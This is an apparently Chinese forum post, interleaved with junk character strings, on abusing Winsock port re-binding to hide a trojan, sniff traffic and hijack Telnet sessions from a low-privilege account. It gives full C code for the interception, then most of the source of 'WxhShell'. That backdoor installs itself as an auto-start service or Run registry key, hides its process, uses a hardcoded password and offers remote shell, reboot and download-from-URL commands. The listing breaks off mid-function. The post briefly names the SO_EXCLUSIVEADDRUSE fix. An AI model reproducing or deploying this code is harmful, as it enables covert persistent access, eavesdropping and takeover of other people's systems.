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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >skS`/6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w[_Uv4M  
_69\#YvCG  
  saddr.sin_family = AF_INET; i vk|-C'\  
M>j)6?n`_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q fe#kF9  
vUA,`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }2{#=Elh  
XUHY.M  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _Fjv.VQ,  
.j.=|5nVo4  
  这意味着什么?意味着可以进行如下的攻击: c eX*|B@=  
BcWReyO<M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 AJ}Q,E  
~>|U%3}]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "/=x u|  
WBdb[N6\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 K} @:>;* 9  
pcG q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l+,rc*-j0  
X35hLp8 M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h:wD &Fh8  
[%y D,8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )*B.y|b #  
r+crE %-  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #wfR$Cd  
;'kH<Iq  
  #include d0d2QRX  
  #include YVi]f2F%  
  #include NgKNT}JDv  
  #include    o=}?aC3I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ho. a93  
  int main() :csLZqn[  
  { {s]eXc]K}  
  WORD wVersionRequested; gB#t"s)  
  DWORD ret; :KwYuwYS  
  WSADATA wsaData; i|e-N?l  
  BOOL val; g=wnly  
  SOCKADDR_IN saddr;  LvaF4Y2v  
  SOCKADDR_IN scaddr; +X%yF{^m(  
  int err; X-)6.[9f  
  SOCKET s; +$C5V,H ~  
  SOCKET sc; &M0v/!%L  
  int caddsize; 5Z'pMkn3  
  HANDLE mt; BN0))p  
  DWORD tid;   uU0'y4=  
  wVersionRequested = MAKEWORD( 2, 2 ); &H6Fkza;4  
  err = WSAStartup( wVersionRequested, &wsaData ); bV ym  
  if ( err != 0 ) { ;nbvn  
  printf("error!WSAStartup failed!\n"); L`BLkDm  
  return -1; \} 5\^&}_  
  } |ONOF  
  saddr.sin_family = AF_INET; uWSG+  
   "cZ.86gG`:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 AiuF3`Xa  
3-0Y<++W3>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vnE,}(M  
  saddr.sin_port = htons(23); ul E\>5O4h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OLq/OO,w  
  { H4U;~)i  
  printf("error!socket failed!\n"); [&$z[/4:8c  
  return -1; Y|",.~  
  } *KNR",.  
  val = TRUE; %O-wMl  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ouuj d~b+  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b.F2m(e2  
  { RAvV[QkT  
  printf("error!setsockopt failed!\n"); f-PDgs   
  return -1; 6xwC1V?:0t  
  } }0I! n@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NW$Z}?I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &Ef'5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U<t Qj`  
0>vm&W<?)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ke0Vy(3t{h  
  { k~R_Pq S  
  ret=GetLastError(); JP#m} W  
  printf("error!bind failed!\n"); -<.>jX  
  return -1; IaW8  
  } ?AR6+`0  
  listen(s,2); 4&tY5m>  
  while(1) % tpjy,  
  {  (1ebE  
  caddsize = sizeof(scaddr); K:y>wyzl  
  //接受连接请求 )s M}BY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Q"KH!Bu%P  
  if(sc!=INVALID_SOCKET) f_}55?i0  
  { |m~|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0@2%pIq\  
  if(mt==NULL) 9.<$&mVk7`  
  { ]C_6I\Z#=W  
  printf("Thread Creat Failed!\n"); k5^'b#v  
  break; mR@iGl\\  
  } Z# 1Qj9  
  } 6;ICX2Wq'  
  CloseHandle(mt); ZC05^  
  } W /IyF){  
  closesocket(s); 8<xJmcTEwO  
  WSACleanup(); 3+IS7ATn  
  return 0; c#_%|gg  
  }   $OmtN"  
  DWORD WINAPI ClientThread(LPVOID lpParam) &#~yci2{  
  { cOIshT1  
  SOCKET ss = (SOCKET)lpParam; { aU~[5L3(  
  SOCKET sc; FG?B:Zl%T  
  unsigned char buf[4096]; 5ES$qYN  
  SOCKADDR_IN saddr; N52N ^X>  
  long num; avdi9!J2  
  DWORD val; rLp0VKPe  
  DWORD ret; k(et b#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *M&~R(TMn  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   XBBsdldZ  
  saddr.sin_family = AF_INET; R5Ti|k.~Y"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KY@k4S+  
  saddr.sin_port = htons(23); o4d>c{p  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }V 09tK/M  
  { WFTTBUoH  
  printf("error!socket failed!\n"); <[(xGrEZV  
  return -1; S#jE1EN  
  } 9n1O@~  
  val = 100; =5+:<e,&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M}HGFN  
  { 8I JFQDGA9  
  ret = GetLastError(); ugOcK Gf  
  return -1; R6!t2gdKe@  
  } &}6=V+J;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VsFRG;:\U  
  { t~e.LxN  
  ret = GetLastError(); [(]uin+9Q  
  return -1; *PD7H9m  
  } ;R}:2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Tk)y*y  
  { pX"f "  
  printf("error!socket connect failed!\n"); s %/3X\_  
  closesocket(sc); GDhg VOW(  
  closesocket(ss); '(=krM9;  
  return -1; L_O m<LO2  
  }  $33wK  
  while(1) Ymx/N+Jl  
  { ``U>9S"p)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MK,#"Ty}zK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ge*f<#|0U-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u`7\o~$  
  num = recv(ss,buf,4096,0); (FP- K  
  if(num>0) !M\8k$#"n  
  send(sc,buf,num,0); [8![UcMq  
  else if(num==0) p%8y!^g  
  break; ^C_ ;uz  
  num = recv(sc,buf,4096,0); V4iN2  
  if(num>0) WUZusW5s  
  send(ss,buf,num,0); bDRl}^aO6  
  else if(num==0) "RiY#=}sm  
  break; J&2cf#  
  } p v%`aQ]o{  
  closesocket(ss); rM Un ~  
  closesocket(sc); <t\!g  
  return 0 ; w_PnEJa9  
  } ^_n(>$ EK  
fn;`Vit#  
l'm!e'7_  
========================================================== F{v>   
J.35Ad1hM  
下边附上一个代码,,WXhSHELL ?`lIsd  
K8daSvc  
========================================================== qJj"WU5  
6;Wns'  
#include "stdafx.h"  ~p<w>C9  
=wtu  
#include <stdio.h> PF~w$ eeQ  
#include <string.h> Bz!SZpW(M  
#include <windows.h> 8\P!47'q  
#include <winsock2.h> y38x^fuYJ~  
#include <winsvc.h> ?t46TV'G  
#include <urlmon.h> &C6Z-bS"  
LB$#] Z  
#pragma comment (lib, "Ws2_32.lib") Z7J8%ywQ  
#pragma comment (lib, "urlmon.lib") K+p7yZJ  
f@rR2xZoQ  
#define MAX_USER   100 // 最大客户端连接数 }Ox5,S}ra  
#define BUF_SOCK   200 // sock buffer 0QcC5y;  
#define KEY_BUFF   255 // 输入 buffer 8Q4yllv4  
wO.T"x%X  
#define REBOOT     0   // 重启 NU"Ld+gw  
#define SHUTDOWN   1   // 关机 &?"E"GH  
*: }9(8d  
#define DEF_PORT   5000 // 监听端口 K !g!tA$  
:"{("!x   
#define REG_LEN     16   // 注册表键长度 eaB6e@]@  
#define SVC_LEN     80   // NT服务名长度 rK(TekU  
V q4g#PcG  
// 从dll定义API 3qggdi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ku$:.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LYhjI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'ioX,KD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); | $  
V(wm?Cc]  
// wxhshell配置信息 Z}$wvd  
struct WSCFG { ~T">)Y~+xI  
  int ws_port;         // 监听端口 (J} tCqP  
  char ws_passstr[REG_LEN]; // 口令  OXDEU.  
  int ws_autoins;       // 安装标记, 1=yes 0=no /3#)  
  char ws_regname[REG_LEN]; // 注册表键名 K-<<s  
  char ws_svcname[REG_LEN]; // 服务名 %1h%#/#[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `8M{13fv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t.X8c/,;g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a!guZUg6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jJbS{1z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D6N 32q@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P.#@1_:gC  
s`#g<_{X  
}; jEu-CU#:  
Qv1<)&Ft<  
// default Wxhshell configuration pm` f? Py  
struct WSCFG wscfg={DEF_PORT, oDW)2*8yF  
    "xuhuanlingzhe", SJ*qgI?}T  
    1, Dqu?mg;L  
    "Wxhshell", ;T hn C>U  
    "Wxhshell", B5v5D[ o5  
            "WxhShell Service", M,w5F5  
    "Wrsky Windows CmdShell Service", $/J4?Wik  
    "Please Input Your Password: ", ;x,yGb`  
  1, <*_DC)&7 9  
  "http://www.wrsky.com/wxhshell.exe", Iw;i ".  
  "Wxhshell.exe" ? R!Pf: t  
    }; y?OK#,j  
*{x8@|K8  
// 消息定义模块 zt!)7HBo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9w!PA-) L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !(A<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gk hmQd  
char *msg_ws_ext="\n\rExit."; ,76Q*p  
char *msg_ws_end="\n\rQuit."; ^i[bo3  
char *msg_ws_boot="\n\rReboot..."; =[do([A  
char *msg_ws_poff="\n\rShutdown..."; aE(DNeG-H  
char *msg_ws_down="\n\rSave to "; <5O:jd  
;.+C  
char *msg_ws_err="\n\rErr!"; ,Jrm85 oG  
char *msg_ws_ok="\n\rOK!"; C[R|@9NI  
)6b`1o!7  
char ExeFile[MAX_PATH]; 0g'MF  S  
int nUser = 0; 3;?DKRIcX  
HANDLE handles[MAX_USER]; GahIR9_2  
int OsIsNt; >1BDt:G36  
'r'+$D7  
SERVICE_STATUS       serviceStatus; Rt.2]eZEJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d~qZ;uw  
\)M EM=U  
// 函数声明 7<0oK|~c#  
int Install(void); y?'Z'  
int Uninstall(void); blx"WVqo  
int DownloadFile(char *sURL, SOCKET wsh); s{uSU1lQn  
int Boot(int flag); LkyT4HC8n  
void HideProc(void); sW]>#e  
int GetOsVer(void); X"!tx  
int Wxhshell(SOCKET wsl); EG!Nsb^,  
void TalkWithClient(void *cs); "M}3T?0 O  
int CmdShell(SOCKET sock); yYH>~,  
int StartFromService(void); w!r.MWE  
int StartWxhshell(LPSTR lpCmdLine); G?+0#?'Y  
~P fk   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tq=7HM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w&e q *q  
*4y0Hq  
// 数据结构和表定义 {Q021*xt/  
SERVICE_TABLE_ENTRY DispatchTable[] = bQ`2ll*(  
{ '$h0l-mQ  
{wscfg.ws_svcname, NTServiceMain}, 0ky3rFSh1  
{NULL, NULL} 1VA%xOURh  
}; Lvb'qZ6n  
uWLf9D"  
// 自我安装 Zx&=K"  
int Install(void) Ow 0(q^H<  
{ U!b~vrr^  
  char svExeFile[MAX_PATH]; KBI36=UV  
  HKEY key; 0`4Fa^o]h  
  strcpy(svExeFile,ExeFile); =zW`+++3  
Wgm{ ]9Q  
// 如果是win9x系统,修改注册表设为自启动 wvI}|c  
if(!OsIsNt) { (V>/[Ev  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zP>=K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nNhb,J  
  RegCloseKey(key); DD'RSV5]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G&q@B`I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :gM_v?sy  
  RegCloseKey(key); ts &sr  
  return 0; ~.E r  
    } H,(4a2zx  
  } g$U7bCHG  
} chu r(@Af  
else { `svOPB4C'  
_| >bOI  
// 如果是NT以上系统,安装为系统服务 (m() r0:@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Nazr4QU  
if (schSCManager!=0) V!f' O@p[  
{ COL_c<\  
  SC_HANDLE schService = CreateService <3 I0$?xL  
  ( }LwKi-G?  
  schSCManager, /Z2 g >  
  wscfg.ws_svcname, snVeOe#'S  
  wscfg.ws_svcdisp, es1'z.UJ  
  SERVICE_ALL_ACCESS, -+n? Q;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7#sb },J{  
  SERVICE_AUTO_START, Uc0Sb  
  SERVICE_ERROR_NORMAL, ]GiDfYs7%  
  svExeFile, o(YF`;OhvS  
  NULL, Lf+3nN  
  NULL, CTZ#QiNP  
  NULL, to#T+d.(v  
  NULL, ui&^ m,  
  NULL ]g]~!":  
  ); ogJ>`0 +J  
  if (schService!=0) A}CpyRVCn  
  { X?S LYm@v  
  CloseServiceHandle(schService); ?mh0^G  
  CloseServiceHandle(schSCManager); $uUJV% EX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XBos ^Q  
  strcat(svExeFile,wscfg.ws_svcname); 71G00@&w9D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TnLblkX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0E`6g6xMS  
  RegCloseKey(key); GD<pqm`vVY  
  return 0; *h~(LH"tN  
    } yHxi^D]  
  } @l?2",  
  CloseServiceHandle(schSCManager); g?9%_&/})A  
} pJ_>^i=  
} ]Czq A c  
/i IWt\J  
return 1; u`wT_?%w  
} 9S{?@*V  
z1LY|8$G  
// 自我卸载 7J$Yd976  
int Uninstall(void) <Q?_],ip  
{ .GuZV'  
  HKEY key; g&L $5  
=ve, !  
if(!OsIsNt) { Nu6]R677Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UY&DXIPM  
  RegDeleteValue(key,wscfg.ws_regname); (=w ff5U  
  RegCloseKey(key); 0@2pw2{Ru  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hJ0m;j&4y  
  RegDeleteValue(key,wscfg.ws_regname); fZt3cE\  
  RegCloseKey(key); N0&#fXO  
  return 0; K9Bi2/N  
  } 5h>t4 [~  
} /[Sy;wn  
} UdX aC= Q  
else { #mbl4a  
'q*:+|"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ybVdWOqv  
if (schSCManager!=0) $:<G=  
{ bn8?-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `L?9-)m<f  
  if (schService!=0) et :v4^*f  
  { 6T=zHFf~  
  if(DeleteService(schService)!=0) { {y7,n  
  CloseServiceHandle(schService); !GBGC|avE  
  CloseServiceHandle(schSCManager); b6gD*w <  
  return 0; Mta;6<  
  } ]@7]mu:oL  
  CloseServiceHandle(schService); jY5BVTWnV  
  } \ /6m  
  CloseServiceHandle(schSCManager); Ia>>b #h  
} b}jLI_R{  
} U-GV^j  
^1NtvQe@Y\  
return 1; 5A*'@Fr'G  
} pI{s )|"  
e,Fe,5E&g  
// 从指定url下载文件 m#(ve1E  
int DownloadFile(char *sURL, SOCKET wsh) 8v']>5S]#  
{ 1~Z Kpvu  
  HRESULT hr; ^9I^A!w=  
char seps[]= "/"; _\2^s&iJh  
char *token; o*1t)HL<  
char *file; &-6 D'@  
char myURL[MAX_PATH]; O"x/O#66  
char myFILE[MAX_PATH]; |A@Gch fd  
=v]eQIp  
strcpy(myURL,sURL); "6%vVi6  
  token=strtok(myURL,seps); 4C_-MJI  
  while(token!=NULL) b3!,r\9V  
  { hX@.k|Yd  
    file=token; bNO/CD4  
  token=strtok(NULL,seps); B^G{k3]t  
  } @X6|[r&Z  
>SZ9,K4Gs  
GetCurrentDirectory(MAX_PATH,myFILE); ^, KN@  
strcat(myFILE, "\\"); WS)u{ or  
strcat(myFILE, file); O@bDMg  
  send(wsh,myFILE,strlen(myFILE),0); CmPix]YMQ  
send(wsh,"...",3,0); J#y?^Qm$)<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ps6c>AN`A&  
  if(hr==S_OK) "Z6:d"S`  
return 0; t#h<'?\E  
else $MG. I[h  
return 1; dc0Ro,  
RU'DUf  
} 6axm H~_  
C&ivjFf  
// 系统电源模块 Zm@ O[:~  
int Boot(int flag) u!DSyHR '  
{ N:@C% UW}  
  HANDLE hToken; W[3)B(Vq<E  
  TOKEN_PRIVILEGES tkp; md/Z[du:'  
<WGl4#(k  
  if(OsIsNt) { fE/8;v!=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -j_J 1P0,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8}W06k>)%  
    tkp.PrivilegeCount = 1; :{tvAdMl7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #YSUPO%F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s:/.:e_PU  
if(flag==REBOOT) { , eZL&n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @kKmkVhu*  
  return 0; ]-aeoa#  
} oa?eK  
else { $V)LGu2( m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [y T4n.f  
  return 0; bMD'teJ  
} ^9UF Pij"  
  } HYPFe|t/  
  else { pTK|u!fs  
if(flag==REBOOT) { TPds)osZT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )Oz( <vxw  
  return 0; BKm$H! u  
} $0Y&r]'  
else { soZw""|v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [#td  
  return 0; 05MtQB   
} )8yee~+TN  
} OR^Wd  
-j[n^y'v  
return 1; 5@Q4[+5&_  
} MOG[cp  
kI3-G~2  
// win9x进程隐藏模块 +2w54X%?M  
void HideProc(void) `R ^g[0 w'  
{ j#U?'g  
Y(SgfWeK@1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tGd<{nF%2  
  if ( hKernel != NULL ) 38Z"9  
  { =3oz74O[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7-ba-[t#A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9VN@M  
    FreeLibrary(hKernel); <E BgHD)  
  } Prhq ~oI4  
4T9hT~cT7  
return; %~ecrQ;  
} z>i D  
x[}e1sXXs  
// 获取操作系统版本 C)z[Blt  
int GetOsVer(void) &u"*vG (U[  
{ _:'m/K3Ee  
  OSVERSIONINFO winfo; p^YE"2 -  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); FzpWT-jnDd  
  GetVersionEx(&winfo); G"TPu _g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nHKEtKDd  
  return 1; #fGb M!3p  
  else 9rao&\eH  
  return 0; _ |TE )h  
} MQY1he2M  
%T6#c7U_  
// 客户端句柄模块 45j+n.9=  
int Wxhshell(SOCKET wsl) +ZE&]BO{  
{ d0 V>;Q  
  SOCKET wsh; 6ddkUPTF  
  struct sockaddr_in client; 4&ea*w  
  DWORD myID; k #*|-?  
YF>t{|  
  while(nUser<MAX_USER) yekIw  
{ I I>2\d|   
  int nSize=sizeof(client); r$v?[x>+K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [k'Ph33c  
  if(wsh==INVALID_SOCKET) return 1; c(#`z!FB  
<YeF?$S}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G<jpJ  
if(handles[nUser]==0) U-FA^c;  
  closesocket(wsh); 6@XutciK  
else -;P<Q`{I  
  nUser++; N^ D/}n  
  } Xb^\{s?b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !7xp<=  
(J$A  
  return 0; owMH  
} @6j*XF  
#>v7" <  
// 关闭 socket pz&=5F  
void CloseIt(SOCKET wsh) jujx3rnK?  
{ D} .t  
closesocket(wsh); 3-mw-;.  
nUser--; +1)C&:  
ExitThread(0); 9wq%Fnt  
} ZM#WdP  
Vw{Ys6q  
// 客户端请求句柄 %C3cdy_c  
void TalkWithClient(void *cs) HQ s)T  
{ Z@[,"{Sn  
:>X7(&j8  
  SOCKET wsh=(SOCKET)cs; I }/Oi]jA6  
  char pwd[SVC_LEN]; li%-9Jd  
  char cmd[KEY_BUFF]; &16bZw  
char chr[1]; MtYP3:  
int i,j; ^X&9"x)4  
"qj[[L Q  
  while (nUser < MAX_USER) { `5 6QX'?  
)2FO+_K?T  
if(wscfg.ws_passstr) { tH'VV-!MZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); poeXi\e!(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WD\{Sdx:r  
  //ZeroMemory(pwd,KEY_BUFF); KvD$`"L/CT  
      i=0; {cv;S2  
  while(i<SVC_LEN) { I)Lb"  
7k\7G=  
  // 设置超时 lXPn]iLJ  
  fd_set FdRead; 4 P;O8KA5y  
  struct timeval TimeOut; b {I`$E<[  
  FD_ZERO(&FdRead); ?:FotnU*p  
  FD_SET(wsh,&FdRead); !X8UP{J)L  
  TimeOut.tv_sec=8; o(``7A@7a  
  TimeOut.tv_usec=0; RE.@ +A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AfEEYP)N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +z D'r5  
{6n \532@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A$F;fCV*  
  pwd=chr[0]; ^97ZH)Ww  
  if(chr[0]==0xd || chr[0]==0xa) { _#4,&bh8  
  pwd=0; ,\M_q">npc  
  break; :7ngVc  
  } _B1uE2j9  
  i++; J:lwq@u  
    } {@#L'i|  
0l6iv[qu5w  
  // 如果是非法用户,关闭 socket A C^[3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pHvE`s"Ea  
} vQ/\BN  
*_QHtZG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NNE,| :  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -{*V)J_Co  
DXz8C -  
while(1) { -(uBTO s  
BLH=:zb5  
  ZeroMemory(cmd,KEY_BUFF); :'dc=C  
X}-H=1T?  
      // 自动支持客户端 telnet标准   f`,Hr?H  
  j=0; .O#lab`:2  
  while(j<KEY_BUFF) { YgiGI <U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2A%T!9J3  
  cmd[j]=chr[0]; 9-Qtj49  
  if(chr[0]==0xa || chr[0]==0xd) { x!~OK::o8  
  cmd[j]=0; "J5Pwvs-  
  break; GF!{SO4  
  } DjIswI1I  
  j++; V 3]p3  
    } WHZng QmY  
SU'1#$69F  
  // 下载文件 nh=Us^xD  
  if(strstr(cmd,"http://")) { arLl8G[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (<C%5xk  
  if(DownloadFile(cmd,wsh)) 6h_k`z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Xl>,\'6  
  else 0:Y`#0qK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <u?hdwW \  
  } \.1b\\  
  else { Gr@{p"./z  
N`Xnoehu  
    switch(cmd[0]) { )Zf}V0!?+  
  N#)VD\m  
  // 帮助 G`#gV"PlC  
  case '?': { 4_%FSW8-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CDYx/yO  
    break; uHro%UAd  
  } pInWKj[y1  
  // 安装 ePRMv  
  case 'i': { {}o>ne nx\  
    if(Install()) -fx88  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); px>> ]>ZMH  
    else U9o*6`"o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hs}"A,V  
    break; c;rp@_ULG?  
    } 0bxvM  
  // 卸载 ,ok J eZ  
  case 'r': { K^vp(2  
    if(Uninstall()) z){UuiUM+=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '+I 2$xE  
    else q uGPk)c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @*"<U]  
    break; v~2XGm  
    } _Q}RElA  
  // 显示 wxhshell 所在路径 9;Pu9s[q2  
  case 'p': { ls "\YSq$  
    char svExeFile[MAX_PATH]; V=4u7!ha  
    strcpy(svExeFile,"\n\r"); :iQ^1S` pH  
      strcat(svExeFile,ExeFile); :$cSQ(q9a  
        send(wsh,svExeFile,strlen(svExeFile),0); a H|OA\<  
    break; K@ sP~('  
    } _{`'{u  
  // 重启 ]AC!R{H  
  case 'b': { u1|P'>;lF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e=]oh$]  
    if(Boot(REBOOT)) h NOYFH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "4k=(R?  
    else { ckjVa\  
    closesocket(wsh); %M)oHX1p  
    ExitThread(0); Cb%.C;q  
    } BdoC6H  
    break; v*'iWHCl,  
    } io Y\8i  
  // 关机 d!QD vO  
  case 'd': { 9 QCpXy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Kpp *^  
    if(Boot(SHUTDOWN)) FP'u)eU&3  
